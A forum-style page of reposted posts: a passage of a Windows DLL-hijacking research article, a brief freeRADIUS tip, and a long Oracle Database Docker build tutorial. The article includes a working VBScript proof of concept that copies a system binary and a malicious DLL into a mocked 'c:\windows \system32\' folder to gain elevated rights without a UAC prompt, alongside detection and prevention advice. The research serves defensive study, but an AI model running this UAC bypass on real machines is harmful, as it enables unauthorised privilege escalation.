    This allows us to identify all DLLs queried by each application, which will be all potential hijackable DLL candidates. But it does not automatically follow that all of these are also loaded (and therefore executed). The most reliable way to find out which DLLs are properly loaded, is to compile our own version of the DLL, and make it write to a unique file upon successfully loading. If we then repeat the above approach for all target executables and DLLs, it will result in a collection of files that tells us which DLLs are confirmed vulnerable to DLL hijacking.

    Compiling custom versions of existing DLLs is more challenging than it may sound, as a lot of executables will not load such DLLs if procedures or entry points are missing. Tools such as DLL Export Viewer [13 ] can be used to enumerate all external function names and ordinals of the legitimate DLLs. Ensuring that our compiled DLL follows the same format will maximise the chances of it being loaded successfully.

    [attachment:5fd1cd0a917b9]

    Sample C code for our own version of dxgi.dll, which showed up in the Procmon recording of winsat.exe.

    In summary, the approach taken is:

    [attachment:5fd1cd1f37533]

    The full code with a more thorough, technical explanation can be found on GitHub [14 ].

    Confirmed DLL Hijack candidates

    The following table lists all executables in c:\windows\system32 on Windows 10 v1909 that are vulnerable to the ‘relative path DLL Hijack’ variant of DLL Hijacking. Next to each executable is one or more DLLs that can be hijacked, together with the procedures of that DLL that are called. As explained in the previous section, these are not mere theoretical targets, these are tested and confirmed to be working. The list comprises 287 executables and 263 unique DLLs.

    Some caveats:

    • The test was performed by simply running each executable, without specifying any parameters and with no further user interaction. This explains why the well-documented xwizard.exe DLL hijack [15 ] is not present in this list, because it requires two (arbitrary) arguments for it to work.
    • Some applications come with a GUI, or some other visual element that gives away the binary was executed. This also includes error messages: required DLLs might be missing, and the hijacked DLL obviously lacks the original functionality. Attackers are less likely to target such applications for DLL hijacking purposes.
    • DLLs of which the original version was written in C++ have not been taken into account.

    A CSV version of the full list can be found on GitHub [14 ].

    Combining with UAC bypass

    Having found all these executables, at most this allows us to execute code through trusted programs. However, it is also possible to gain elevated rights if used in conjunction with UAC Bypass techniques.

    User Account Control (UAC) [16 ] was introduced in Windows Vista as a security feature, asking users for confirmation through a prompt before a process running under normal privileges is elevated to higher privileges. After users complained about getting flooded with UAC prompts when doing arbitrary tasks, Microsoft introduced auto elevation in Windows 7, which automatically elevates certain processes if they are located in trusted directories (such as c:\windows\system32 ).

    With this in mind, you could try running arbitrary code with elevated privileges by using an executable that is marked for auto elevation that is also vulnerable to DLL hijacking. There are about 35 of such executables, as can be seen in the previous section. The problem to overcome is that of the trusted directory: both the auto-elevate executable and the custom DLL need to be located in a trusted directory, but none of theses are user writeable.

    There is some excellent research about bypassing UAC out there - one of my favourite techniques is the mocking of trusted directories using trailing spaces [17 ]. I would recommend reading the full blog post, but it boils down to users being able to create c:\windows \system32\ (note the space after the first folder), and auto-elevate executables placed in this folder consider this a trusted location.

    It is debatable whether this is a proper security vulnerability - Microsoft argue it is not [18 ], but it is at least a flaw, given that most (non-enterprise) Windows computers are using ‘administrator accounts’ by default.

    Either way, this provides us with an excellent means through which DLL hijacking can be made much more powerful. Note that folders with trailing spaces cannot be created through traditional means on Windows. You could compile some lines of C to do this, as is done by the original researcher, but it turns out VBScript can actually do this for us too. The following proof-of-concept shows that with only a few lines of code you can get this to work:

    Set oFSO = CreateObject("Scripting.FileSystemObject")
    Set wshshell = wscript.createobject("WScript.Shell")
    
    ' Get target binary and payload
    WScript.StdOut.Write("System32 binary: ")
    strBinary = WScript.StdIn.ReadLine()
    WScript.StdOut.Write("Path to your DLL: ")
    strDLL = WScript.StdIn.ReadLine()
    
    ' Create folders
    Const target = "c:\windows \"
    target_sys32 = (target & "system32\")
    target_binary = (target_sys32 & strBinary)
    If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
    If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If
    
    ' Copy legit binary and evil DLL
    oFSO.CopyFile ("c:\windows\system32\" & strBinary), target_binary
    oFSO.CopyFile strDLL, target_sys32
    ' Run, Forrest, Run!
    wshshell.Run("""" & target_binary & """")
    
    ' Clean files
    WScript.StdOut.Write("Clean up? (press enter to continue)")
    WScript.StdIn.ReadLine()
    wshshell.Run("powershell /c ""rm -r """"\\?\" & target & """""""") 'Deletion using VBScript is problematic, use PowerShell instead

    The screenshot below shows what execution of the script might look like.

    [attachment:5fd1cf4e85f23]

    An example showing an elevated prompt after a malicious dxgi.dll was loaded by a legitimate winsat.exe from a mocked trusted directory, without getting any UAC prompts.

    In the table above, all executable/DLL combinations for which the auto elevation was successful are marked in the first column. With over 160 possible combinations, there are quite some options.

    Prevention and detection

    A simple way to prevent DLL hijacking from happening would be for applications to always use absolute paths instead of relative ones. Although some applications (notably portable ones) will not always be able to do so, applications located in \system32\ and relying on DLLs in the same folder have no excuse for doing otherwise. The better option, which only very few Windows executables seem to do, is to verify all DLLs before loading them (e.g. by checking their signatures) - this would largely eliminate the problem.

    Nevertheless, as we have seen, attackers will still be able to bring older versions of legitimate/trusted applications that can be exploited. So even if every application starts checking their DLLs before loading them from now on, we would still have to deal with this problem.

    Let’s therefore focus on detection. You could hunt for the creation or loading of any of the DLLs mentioned before from unexpected paths, particularly in temp locations such as %appdata%. After all, the name of the (legitimate) application loading the DLLs can be changed, but the filenames of DLLs are always fixed. A sample Sigma rule for this can be found here [19 ] - it successfully detects our DLL hijacking, although as you can see, it doesn’t scale very well and is likely to be prone to false positives. You could take a more generic approach by looking for the presence of Microsoft-signed binaries in unexpected locations, of the loading of DLLs from unexpected locations by such Microsoft-signed binaries (regardless of location).

    Finally, the demonstrated UAC bypass technique can be detected easily and reliably by looking for any activity in the /windows / folder, or in any folders ending in a space for that matter. As described before, Windows folders with trailing spaces cannot be created through normal means and should therefore be rare, and always suspicious. Setting your UAC mode to ‘Always notify’, one level higher than the default, will prevent this and other similar UAC bypass techniques from succeeding.

  9. 7 months ago
    Tue Nov 3 14:13:10 2020

    if "freeRADIUS: Google Authenticator - Authentication failed. User: name, Reason: wrong tokencode"
    check time

  10. 10 months ago
    Sun Aug 16 07:44:38 2020
    Men in Black started the conversation Creating an Oracle Database Docker image.

    [attachment:5f38e74664e32]

    Oracle has released Docker build files for the Oracle Database on Github . With those build files one can go ahead and build his or her own Docker image for the Oracle Database. If you don’t know what Docker is you should go and check it out. It’s a cool technology based on the Linux containers technology that allows you to containerize your application, whatever that application may be. Naturally, it didn’t take long for people to start looking at containerizing databases as well which makes a lot of sense, especially for, but not only, development and test environments. Here is a detailed blog post on how to containerize your Oracle Database by using those build files that Oracle has provided.

    What you need

    Environment

    My environment is as follows:

    • Oracle Linux 7.3 (4.1.12–94.3.8.el7uek.x86_64)
    • Docker 17.03.1-ce (docker-engine.x86_64 17.03.1.ce-3.0.1.el7)
    • Oracle Database 12.2.0.1 Enterprise Edition

    Docker setup

    The first thing, if not already done so, is to setup Docker on the environment. Luckily this is fairly straight forward. Docker is shipped as an addon with Oracle Linux 7 UEK4. As I’m running on such environment all I have to do is to is to enable the addons yum repository and install the docker-engine package. Note, this is done as the root Linux user:

    Enable OL7 addons repo

    [root@localhost ~]# yum-config-manager enable *addons*
    Loaded plugins: langpacks
    ================================================================== repo: ol7_addons ==================================================================
    [ol7_addons]
    async = True
    bandwidth = 0
    base_persistdir = /var/lib/yum/repos/x86_64/7Server
    baseurl = http://public-yum.oracle.com/repo/OracleLinux/OL7/addons/x86_64/
    cache = 0
    cachedir = /var/cache/yum/x86_64/7Server/ol7_addons
    check_config_file_age = True
    compare_providers_priority = 80
    cost = 1000
    deltarpm_metadata_percentage = 100
    deltarpm_percentage =
    enabled = True
    enablegroups = True
    exclude =
    failovermethod = priority
    ftp_disable_epsv = False
    gpgcadir = /var/lib/yum/repos/x86_64/7Server/ol7_addons/gpgcadir
    gpgcakey =
    gpgcheck = True
    gpgdir = /var/lib/yum/repos/x86_64/7Server/ol7_addons/gpgdir
    gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-oracle
    hdrdir = /var/cache/yum/x86_64/7Server/ol7_addons/headers
    http_caching = all
    includepkgs =
    ip_resolve =
    keepalive = True
    keepcache = False
    mddownloadpolicy = sqlite
    mdpolicy = group:small
    mediaid =
    metadata_expire = 21600
    metadata_expire_filter = read-only:present
    metalink =
    minrate = 0
    mirrorlist =
    mirrorlist_expire = 86400
    name = Oracle Linux 7Server Add ons (x86_64)
    old_base_cache_dir =
    password =
    persistdir = /var/lib/yum/repos/x86_64/7Server/ol7_addons
    pkgdir = /var/cache/yum/x86_64/7Server/ol7_addons/packages
    proxy = False
    proxy_dict =
    proxy_password =
    proxy_username =
    repo_gpgcheck = False
    retries = 10
    skip_if_unavailable = False
    ssl_check_cert_permissions = True
    sslcacert =
    sslclientcert =
    sslclientkey =
    sslverify = True
    throttle = 0
    timeout = 30.0
    ui_id = ol7_addons/x86_64
    ui_repoid_vars = releasever,
    basearch
    username =

    Install docker-engine

    [root@localhost ~]# yum install docker-engine
    Loaded plugins: langpacks, ulninfo
    Resolving Dependencies
    --> Running transaction check
    ---> Package docker-engine.x86_64 0:17.03.1.ce-3.0.1.el7 will be installed
    --> Processing Dependency: docker-engine-selinux >= 17.03.1.ce-3.0.1.el7 for package: docker-engine-17.03.1.ce-3.0.1.el7.x86_64
    --> Running transaction check
    ---> Package selinux-policy-targeted.noarch 0:3.13.1-102.0.3.el7_3.16 will be updated
    ---> Package selinux-policy-targeted.noarch 0:3.13.1-166.0.2.el7 will be an update
    --> Processing Dependency: selinux-policy = 3.13.1-166.0.2.el7 for package: selinux-policy-targeted-3.13.1-166.0.2.el7.noarch
    --> Running transaction check
    ---> Package selinux-policy.noarch 0:3.13.1-102.0.3.el7_3.16 will be updated
    ---> Package selinux-policy.noarch 0:3.13.1-166.0.2.el7 will be an update
    --> Finished Dependency Resolution
    Dependencies Resolved
    ======================================================================================================================================================
    Package Arch Version Repository Size
    ======================================================================================================================================================
    Installing:
    docker-engine x86_64 17.03.1.ce-3.0.1.el7 ol7_addons 19 M
    Updating:
    selinux-policy-targeted noarch 3.13.1-166.0.2.el7 ol7_latest 6.5 M
    Updating for dependencies:
    selinux-policy noarch 3.13.1-166.0.2.el7 ol7_latest 435 k
    Transaction Summary
    ======================================================================================================================================================
    Install 1 Package
    Upgrade 1 Package (+1 Dependent package)
    Total download size: 26 M
    Is this ok [y/d/N]: y
    Downloading packages:
    No Presto metadata available for ol7_latest
    (1/3): selinux-policy-3.13.1-166.0.2.el7.noarch.rpm | 435 kB 00:00:00
    (2/3): selinux-policy-targeted-3.13.1-166.0.2.el7.noarch.rpm | 6.5 MB 00:00:01
    (3/3): docker-engine-17.03.1.ce-3.0.1.el7.x86_64.rpm | 19 MB 00:00:04
    ------------------------------------------------------------------------------------------------------------------------------------------------------
    Total 6.2 MB/s | 26 MB 00:00:04
    Running transaction check
    Running transaction test
    Transaction test succeeded
    Running transaction
    Updating : selinux-policy-3.13.1-166.0.2.el7.noarch 1/5
    Updating : selinux-policy-targeted-3.13.1-166.0.2.el7.noarch 2/5
    Installing : docker-engine-17.03.1.ce-3.0.1.el7.x86_64 3/5
    Cleanup : selinux-policy-targeted-3.13.1-102.0.3.el7_3.16.noarch 4/5
    Cleanup : selinux-policy-3.13.1-102.0.3.el7_3.16.noarch 5/5
    Verifying : selinux-policy-targeted-3.13.1-166.0.2.el7.noarch 1/5
    Verifying : selinux-policy-3.13.1-166.0.2.el7.noarch 2/5
    Verifying : docker-engine-17.03.1.ce-3.0.1.el7.x86_64 3/5
    Verifying : selinux-policy-targeted-3.13.1-102.0.3.el7_3.16.noarch 4/5
    Verifying : selinux-policy-3.13.1-102.0.3.el7_3.16.noarch 5/5
    Installed:
    docker-engine.x86_64 0:17.03.1.ce-3.0.1.el7
    Updated:
    selinux-policy-targeted.noarch 0:3.13.1-166.0.2.el7
    Dependency Updated:
    selinux-policy.noarch 0:3.13.1-166.0.2.el7
    Complete!

    And that’s it! Docker is now installed on the machine. Before I proceed with building an image I first have to configure my environment appropriately.

    Enable non-root user

    The first thing I want to do is to enable a non-root user to communicate with the Docker engine. Enabling a non-root user is fairly straight forward as well. When Docker was installed a new Unix group docker was created along with it. If you want to allow a user to communicate with the Docker daemon directly, hence avoiding to run as the root user, all you have to do is to add that user to the docker group. In my case I want to add the oracle user to that group:

    [root@localhost ~]# id oracle
    uid=1000(oracle) gid=1001(oracle) groups=1001(oracle),1000(dba)
    [root@localhost ~]# usermod -a -G docker oracle
    [root@localhost ~]# id oracle
    uid=1000(oracle) gid=1001(oracle) groups=1001(oracle),1000(dba),981(docker)

    [h]
    Increase base image size[/h]
    Before I go ahead and run the image build I want to double check one important parameter: The default base image size for the Docker container. In the past Docker came with a maximum container size of 10 GB by default. While this is more than enough for running some applications inside Docker containers this needed to be increased for Oracle Database. The Oracle Database 12.2.0.1 image requires about 13GB of space for the image build.
    Recently the default size has been increased to 25GB which will be more than enough for the Oracle Database image. The setting can be found and double checked in /etc/sysconfig/docker-storage as the storage-opt dm.basesize parameter:

    [root@localhost ~]# cat /etc/sysconfig/docker-storage
    # This file may be automatically generated by an installation program.
    # By default, Docker uses a loopback-mounted sparse file in
    # /var/lib/docker. The loopback makes it slower, and there are some
    # restrictive defaults, such as 100GB max storage.
    # If your installation did not set a custom storage for Docker, you
    # may do it below.
    # Example: Use a custom pair of raw logical volumes (one for metadata,
    # one for data).
    # DOCKER_STORAGE_OPTIONS = --storage-opt dm.metadatadev=/dev/mylogvol/my-docker-metadata --storage-opt dm.datadev=/dev/mylogvol/my-docker-data
    DOCKER_STORAGE_OPTIONS= --storage-driver devicemapper --storage-opt dm.basesize=25G

    Start and enable the Docker service

    The final step is to start the docker service and configure it to start at boot time. This is done via the systemctl command:

    [root@localhost ~]# systemctl start docker
    [root@localhost ~]# systemctl enable docker
    Created symlink from /etc/systemd/system/multi-user.target.wants/docker.service to /usr/lib/systemd/system/docker.service.
    [root@localhost ~]# systemctl status docker
    ● docker.service - Docker Application Container Engine
    Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled)
    Drop-In: /etc/systemd/system/docker.service.d
    └─docker-sysconfig.conf
    Active: active (running) since Sun 2017-08-20 14:18:16 EDT; 5s ago
    Docs: https://docs.docker.com
    Main PID: 19203 (dockerd)
    Memory: 12.8M
    CGroup: /system.slice/docker.service
    ├─19203 /usr/bin/dockerd --selinux-enabled --storage-driver devicemapper --storage-opt dm.basesize=25G
    └─19207 docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --metrics-interval=0 --start-timeout 2m --state...

    As a last step you can verify the setup and the base image size (check for Base Device Size:) via docker info:

    [root@localhost ~]# docker info
    Containers: 0
    Running: 0
    Paused: 0
    Stopped: 0
    Images: 0
    Server Version: 17.03.1-ce
    Storage Driver: devicemapper
    Pool Name: docker-249:0-202132724-pool
    Pool Blocksize: 65.54 kB
    Base Device Size: 26.84 GB
    Backing Filesystem: xfs
    Data file: /dev/loop0
    Metadata file: /dev/loop1
    Data Space Used: 14.42 MB
    Data Space Total: 107.4 GB
    Data Space Available: 47.98 GB
    Metadata Space Used: 581.6 kB
    Metadata Space Total: 2.147 GB
    Metadata Space Available: 2.147 GB
    Thin Pool Minimum Free Space: 10.74 GB
    Udev Sync Supported: true
    Deferred Removal Enabled: false
    Deferred Deletion Enabled: false
    Deferred Deleted Device Count: 0
    Data loop file: /var/lib/docker/devicemapper/devicemapper/data
    WARNING: Usage of loopback devices is strongly discouraged for production use. Use `--storage-opt dm.thinpooldev` to specify a custom block storage device.
    Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata
    Library Version: 1.02.135-RHEL7 (2016-11-16)
    Logging Driver: json-file
    Cgroup Driver: cgroupfs
    Plugins:
    Volume: local
    Network: bridge host macvlan null overlay
    Swarm: inactive
    Runtimes: runc
    Default Runtime: runc
    Init Binary: docker-init
    containerd version: 4ab9917febca54791c5f071a9d1f404867857fcc
    runc version: 54296cf40ad8143b62dbcaa1d90e520a2136ddfe
    init version: 949e6fa
    Security Options:
    seccomp
    Profile: default
    selinux
    Kernel Version: 4.1.12-94.3.8.el7uek.x86_64
    Operating System: Oracle Linux Server 7.3
    OSType: linux
    Architecture: x86_64
    CPUs: 1
    Total Memory: 7.795 GiB
    Name: localhost.localdomain
    ID: D7CR:3DGV:QUGO:X7EB:AVX3:DWWW:RJIA:QVVT:I2YR:KJXV:ALR4:WLBV
    Docker Root Dir: /var/lib/docker
    Debug Mode (client): false
    Debug Mode (server): false
    Registry: https://index.docker.io/v1/
    Experimental: false
    Insecure Registries:
    127.0.0.0/8
    Live Restore Enabled: false

    That concludes the installation of Docker itself.

    Building the Oracle Database Docker image

    Now that Docker is up and running I can start building the image. First I need to get the Docker build files and the Oracle install binaries, both are easy to obtain as shown below. Note that I use the oracle Linux user for all the following steps, which I have enabled previously to communicate with the Docker daemon:

    Obtaining the required files

    Github build files

    First I have to download the Docker build files. There are various ways to do this. I can for example clone the Git repository directly. But for simplicity and for the people who aren’t familiar with git I will just use the download option on Github itself. If you go to the main repository URL https://github.com/oracle/docker-images/ you will see a green button saying “Clone or download” and by clicking on it you will have the option “Download ZIP“. Alternatively you can also just download the repository directly via the static URL: https://github.com/oracle/docker-images/archive/master.zip

    [oracle@localhost ~]$ wget https://github.com/oracle/docker-images/archive/master.zip
    --2017-08-20 14:31:32-- https://github.com/oracle/docker-images/archive/master.zip
    Resolving github.com (github.com)... 192.30.255.113, 192.30.255.112
    Connecting to github.com (github.com)|192.30.255.113|:443... connected.
    HTTP request sent, awaiting response... 302 Found
    Location: https://codeload.github.com/oracle/docker-images/zip/master [following]
    --2017-08-20 14:31:33-- https://codeload.github.com/oracle/docker-images/zip/master
    Resolving codeload.github.com (codeload.github.com)... 192.30.255.120, 192.30.255.121
    Connecting to codeload.github.com (codeload.github.com)|192.30.255.120|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/zip]
    Saving to: ‘master.zip’
    [ ] 4,411,616 3.37MB/s in 1.2s
    2017-08-20 14:31:34 (3.37 MB/s) - ‘master.zip’ saved [4411616]
    [oracle@localhost ~]$ unzip master.zip
    Archive: master.zip
    21041a743e4b0a910b0e51e17793bb7b0b18efef
    creating: docker-images-master/
    extracting: docker-images-master/.gitattributes
    inflating: docker-images-master/.gitignore
    inflating: docker-images-master/.gitmodules
    inflating: docker-images-master/CODEOWNERS
    inflating: docker-images-master/CONTRIBUTING.md
    ...
    ...
    ...
    creating: docker-images-master/OracleDatabase/
    extracting: docker-images-master/OracleDatabase/.gitignore
    inflating: docker-images-master/OracleDatabase/COPYRIGHT
    inflating: docker-images-master/OracleDatabase/LICENSE
    inflating: docker-images-master/OracleDatabase/README.md
    creating: docker-images-master/OracleDatabase/dockerfiles/
    ...
    ...
    ...
    inflating: docker-images-master/README.md
    [oracle@localhost ~]$

    Oracle installation binaries

    For the Oracle binaries just download them from where you usually would download them. Oracle Technology Network is probably the place that most people go to. Once you have downloaded them you can proceed with building the image:

    [oracle@localhost ~]$ ls -al *database*zip
    -rw-r--r--. 1 oracle oracle 1354301440 Aug 20 14:40 linuxx64_12201_database.zip

    Building the image

    Now that I have all the files it’s time to build the Docker image. You will find a separate README.md in the docker-images-master/OracleDatabase/SingleInstancedirectory which explains the build process in more details. Make sure that you always read that file as it will always reflect the latest changes in the build files! You will also find a buildDockerImage.sh shell script in the docker-images-master/OracleDatabase/SingleInstance/dockerfiles directory that does the legwork of the build for you. For the build it is essential that I copy the install files into the correct version directory. As I’m going to create an Oracle Database 12.2.0.1 image I need to copy the install zip file into docker-images-master/OracleDatabase/SingleInstance/dockerfiles/12.2.0.1:

    [oracle@localhost ~]$ cd docker-images-master/OracleDatabase/SingleInstance/dockerfiles/12.2.0.1/
    [oracle@localhost 12.2.0.1]$ cp ~/linuxx64_12201_database.zip .
    [oracle@localhost 12.2.0.1]$ ls -al
    total 3372832
    drwxrwxr-x. 2 oracle oracle 4096 Aug 20 14:44 .
    drwxrwxr-x. 5 oracle oracle 77 Aug 19 00:35 ..
    -rwxr-xr-x. 1 oracle oracle 1259 Aug 19 00:35 checkDBStatus.sh
    -rwxr-xr-x. 1 oracle oracle 909 Aug 19 00:35 checkSpace.sh
    -rw-rw-r--. 1 oracle oracle 62 Aug 19 00:35 Checksum.ee
    -rw-rw-r--. 1 oracle oracle 62 Aug 19 00:35 Checksum.se2
    -rwxr-xr-x. 1 oracle oracle 2964 Aug 19 00:35 createDB.sh
    -rw-rw-r--. 1 oracle oracle 9203 Aug 19 00:35 dbca.rsp.tmpl
    -rw-rw-r--. 1 oracle oracle 6878 Aug 19 00:35 db_inst.rsp
    -rw-rw-r--. 1 oracle oracle 2550 Aug 19 00:35 Dockerfile.ee
    -rw-rw-r--. 1 oracle oracle 2552 Aug 19 00:35 Dockerfile.se2
    -rwxr-xr-x. 1 oracle oracle 2261 Aug 19 00:35 installDBBinaries.sh
    -rw-r--r--. 1 oracle oracle 3453696911 Aug 20 14:45 linuxx64_12201_database.zip
    -rwxr-xr-x. 1 oracle oracle 6151 Aug 19 00:35 runOracle.sh
    -rwxr-xr-x. 1 oracle oracle 1026 Aug 19 00:35 runUserScripts.sh
    -rwxr-xr-x. 1 oracle oracle 769 Aug 19 00:35 setPassword.sh
    -rwxr-xr-x. 1 oracle oracle 879 Aug 19 00:35 setupLinuxEnv.sh
    -rwxr-xr-x. 1 oracle oracle 689 Aug 19 00:35 startDB.sh
    [oracle@localhost 12.2.0.1]$

    Now that the zip file is in place I am ready to invoke the buildDockerImage.sh shell script in the dockerfiles folder. The script takes a couple of parameters, -v for the version and -e for telling it that I want Enterprise Edition. Note: The build of the image will pull the Oracle Linux slim base image and execute a yum install as well as a yum upgrade inside the container. For it to success to have to have internet connectivity:

    [oracle@localhost 12.2.0.1]$ cd ..
    [oracle@localhost dockerfiles]$ ./buildDockerImage.sh -v 12.2.0.1 -e
    Checking if required packages are present and valid...
    linuxx64_12201_database.zip: OK
    ==========================
    DOCKER info:
    Containers: 0
    Running: 0
    Paused: 0
    Stopped: 0
    Images: 0
    Server Version: 17.03.1-ce
    Storage Driver: devicemapper
    Pool Name: docker-249:0-202132724-pool
    Pool Blocksize: 65.54 kB
    Base Device Size: 26.84 GB
    Backing Filesystem: xfs
    Data file: /dev/loop0
    Metadata file: /dev/loop1
    Data Space Used: 14.42 MB
    Data Space Total: 107.4 GB
    Data Space Available: 47.98 GB
    Metadata Space Used: 581.6 kB
    Metadata Space Total: 2.147 GB
    Metadata Space Available: 2.147 GB
    Thin Pool Minimum Free Space: 10.74 GB
    Udev Sync Supported: true
    Deferred Removal Enabled: false
    Deferred Deletion Enabled: false
    Deferred Deleted Device Count: 0
    Data loop file: /var/lib/docker/devicemapper/devicemapper/data
    WARNING: Usage of loopback devices is strongly discouraged for production use. Use `--storage-opt dm.thinpooldev` to specify a custom block storage device.
    Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata
    Library Version: 1.02.135-RHEL7 (2016-11-16)
    Logging Driver: json-file
    Cgroup Driver: cgroupfs
    Plugins:
    Volume: local
    Network: bridge host macvlan null overlay
    Swarm: inactive
    Runtimes: runc
    Default Runtime: runc
    Init Binary: docker-init
    containerd version: 4ab9917febca54791c5f071a9d1f404867857fcc
    runc version: 54296cf40ad8143b62dbcaa1d90e520a2136ddfe
    init version: 949e6fa
    Security Options:
    seccomp
    Profile: default
    selinux
    Kernel Version: 4.1.12-94.3.8.el7uek.x86_64
    Operating System: Oracle Linux Server 7.3
    OSType: linux
    Architecture: x86_64
    CPUs: 1
    Total Memory: 7.795 GiB
    Name: localhost.localdomain
    ID: D7CR:3DGV:QUGO:X7EB:AVX3:DWWW:RJIA:QVVT:I2YR:KJXV:ALR4:WLBV
    Docker Root Dir: /var/lib/docker
    Debug Mode (client): false
    Debug Mode (server): false
    Registry: https://index.docker.io/v1/
    Experimental: false
    Insecure Registries:
    127.0.0.0/8
    Live Restore Enabled: false
    ==========================
    Building image 'oracle/database:12.2.0.1-ee' ...
    Sending build context to Docker daemon 3.454 GB
    Step 1/16 : FROM oraclelinux:7-slim
    7-slim: Pulling from library/oraclelinux
    3152c71f8d80: Pull complete
    Digest: sha256:e464042b724d41350fb3ac2c2f84bd9d28d98302c9ebe66048a5367682e5fad2
    Status: Downloaded newer image for oraclelinux:7-slim
    ---> c0feb50f7527
    Step 2/16 : MAINTAINER Gerald Venzl
    ---> Running in e442cae35367
    ---> 08f875cea39d
    ...
    ...
    ...
    Step 15/16 : EXPOSE 1521 5500
    ---> Running in 4476c1c236e1
    ---> d01d39e39920
    Removing intermediate container 4476c1c236e1
    Step 16/16 : CMD exec $ORACLE_BASE/$RUN_FILE
    ---> Running in 8757674cc3d5
    ---> 98129834d5ad
    Removing intermediate container 8757674cc3d5
    Successfully built 98129834d5ad
    Oracle Database Docker Image for 'ee' version 12.2.0.1 is ready to be extended:
    --> oracle/database:12.2.0.1-ee
    Build completed in 802 seconds.

    Starting and connecting to the Oracle Database inside a Docker container

    Once the build was successful I can now start and run the Oracle Database inside a Docker container. All I have to do is to issue the docker run command and pass in the appropriate parameters. One important parameter is the -p for the mapping of ports inside the container to the outside world. This is required so that I can also connect to the database from outside the Docker container. Another important parameter is the -v parameter which allows me to keep the data files of the database in a location outside the Docker container. This is important as it will allow me to preserve my data even when the container is thrown away. You should always use the -v parameter or create a named Docker volume! The last useful parameter that I’m going to use is the --name parameter which specifies the name of the Docker container itself. If omitted a random name will be generated. However, passing on a name will allow me to refer to the container via that name later on:

    [oracle@localhost dockerfiles]$ cd ~
    [oracle@localhost ~]$ mkdir oradata
    [oracle@localhost ~]$ chmod a+w oradata
    [oracle@localhost ~]$ docker run --name oracle-ee -p 1521:1521 -v /home/oracle/oradata:/opt/oracle/oradata oracle/database:12.2.0.1-ee
    ORACLE PASSWORD FOR SYS, SYSTEM AND PDBADMIN: 3y4RL1K7org=1
    LSNRCTL for Linux: Version 12.2.0.1.0 - Production on 20-AUG-2017 19:07:55
    Copyright (c) 1991, 2016, Oracle. All rights reserved.
    Starting /opt/oracle/product/12.2.0.1/dbhome_1/bin/tnslsnr: please wait...
    TNSLSNR for Linux: Version 12.2.0.1.0 - Production
    System parameter file is /opt/oracle/product/12.2.0.1/dbhome_1/network/admin/listener.ora
    Log messages written to /opt/oracle/diag/tnslsnr/e3d1a2314421/listener/alert/log.xml
    Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1)))
    Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=0.0.0.0)(PORT=1521)))
    Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))
    STATUS of the LISTENER
    ------------------------
    Alias LISTENER
    Version TNSLSNR for Linux: Version 12.2.0.1.0 - Production
    Start Date 20-AUG-2017 19:07:56
    Uptime 0 days 0 hr. 0 min. 0 sec
    Trace Level off
    Security ON: Local OS Authentication
    SNMP OFF
    Listener Parameter File /opt/oracle/product/12.2.0.1/dbhome_1/network/admin/listener.ora
    Listener Log File /opt/oracle/diag/tnslsnr/e3d1a2314421/listener/alert/log.xml
    Listening Endpoints Summary...
    (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1)))
    (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=0.0.0.0)(PORT=1521)))
    The listener supports no services
    The command completed successfully
    [WARNING] [DBT-10102] The listener configuration is not selected for the database. EM DB Express URL will not be accessible.
    CAUSE: The database should be registered with a listener in order to access the EM DB Express URL.
    ACTION: Select a listener to be registered or created with the database.
    Copying database files
    1% complete
    13% complete
    25% complete
    Creating and starting Oracle instance
    26% complete
    30% complete
    31% complete
    35% complete
    38% complete
    39% complete
    41% complete
    Completing Database Creation
    42% complete
    43% complete
    44% complete
    46% complete
    47% complete
    50% complete
    Creating Pluggable Databases
    55% complete
    75% complete
    Executing Post Configuration Actions
    100% complete
    Look at the log file "/opt/oracle/cfgtoollogs/dbca/ORCLCDB/ORCLCDB.log" for further details.
    SQL*Plus: Release 12.2.0.1.0 Production on Sun Aug 20 19:16:01 2017
    Copyright (c) 1982, 2016, Oracle. All rights reserved.
    Connected to:
    Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
    SQL>
    System altered.
    SQL>
    Pluggable database altered.
    SQL> Disconnected from Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
    #########################
    DATABASE IS READY TO USE!
    #########################
    The following output is now a tail of the alert.log:
    Completed: alter pluggable database ORCLPDB1 open
    2017-08-20T19:16:01.025829+00:00
    ORCLPDB1(3):CREATE SMALLFILE TABLESPACE "USERS" LOGGING DATAFILE '/opt/oracle/oradata/ORCLCDB/ORCLPDB1/users01.dbf' SIZE 5M REUSE AUTOEXTEND ON NEXT 1280K MAXSIZE UNLIMITED EXTENT MANAGEMENT LOCAL SEGMENT SPACE MANAGEMENT AUTO
    ORCLPDB1(3):Completed: CREATE SMALLFILE TABLESPACE "USERS" LOGGING DATAFILE '/opt/oracle/oradata/ORCLCDB/ORCLPDB1/users01.dbf' SIZE 5M REUSE AUTOEXTEND ON NEXT 1280K MAXSIZE UNLIMITED EXTENT MANAGEMENT LOCAL SEGMENT SPACE MANAGEMENT AUTO
    ORCLPDB1(3):ALTER DATABASE DEFAULT TABLESPACE "USERS"
    ORCLPDB1(3):Completed: ALTER DATABASE DEFAULT TABLESPACE "USERS"
    2017-08-20T19:16:01.889003+00:00
    ALTER SYSTEM SET control_files='/opt/oracle/oradata/ORCLCDB/control01.ctl' SCOPE=SPFILE;
    ALTER PLUGGABLE DATABASE ORCLPDB1 SAVE STATE
    Completed: ALTER PLUGGABLE DATABASE ORCLPDB1 SAVE STATE

